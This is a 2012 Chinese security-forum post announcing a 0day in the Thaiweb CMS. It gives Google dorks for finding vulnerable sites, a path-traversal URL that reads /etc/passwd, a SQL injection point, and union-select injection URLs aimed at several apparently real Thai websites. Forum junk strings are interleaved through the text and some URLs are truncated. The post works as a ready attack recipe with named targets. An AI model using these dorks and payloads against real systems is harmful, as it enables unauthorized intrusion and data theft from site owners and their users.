找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:$ O( o/ K% x& e5 U' A9 d* t

2 A. F& V5 `7 ?1 @$ A6 Sintext:powered by Thaiweb
2 N4 ?9 B6 q' Q" c- B& }+ G  t0 t+ @4 g& G) B2 ?, S( Z) \
inurl:index.php?page=board.php- \% ^& ?% @0 N/ ?5 Q

/ l: H4 ]# u4 l4 h) P8 T 3 P5 T' r+ R! g# p$ n% g

5 I% h3 C, S, t4 Y7 K利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
4 V& w" w4 t# c+ o  K; q" Y6 a# T; u' R& N

/ `: a2 ]- J7 r& a" ^$ g, {
8 x* w1 J. x* K& E3 W8 \, y( k利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4', h0 I6 x0 ~9 x. `* J' c+ `7 T4 W

! {3 x$ l- S8 [% {5 O+ G& q  w # ~8 N! f/ o+ P+ ~  v- a  C" m% r, N
5 W  }* F; D( q0 q
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--" h* b( c, ?0 P; W, \2 c9 X* I
* ?! Y; }: Z, W
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--" F" g& D  _+ ]0 [9 r2 g9 R
5 @9 C7 |( v5 C: M1 @* {8 w5 R, c4 N- Q
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
; T3 c5 J5 M# y& a" d& q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表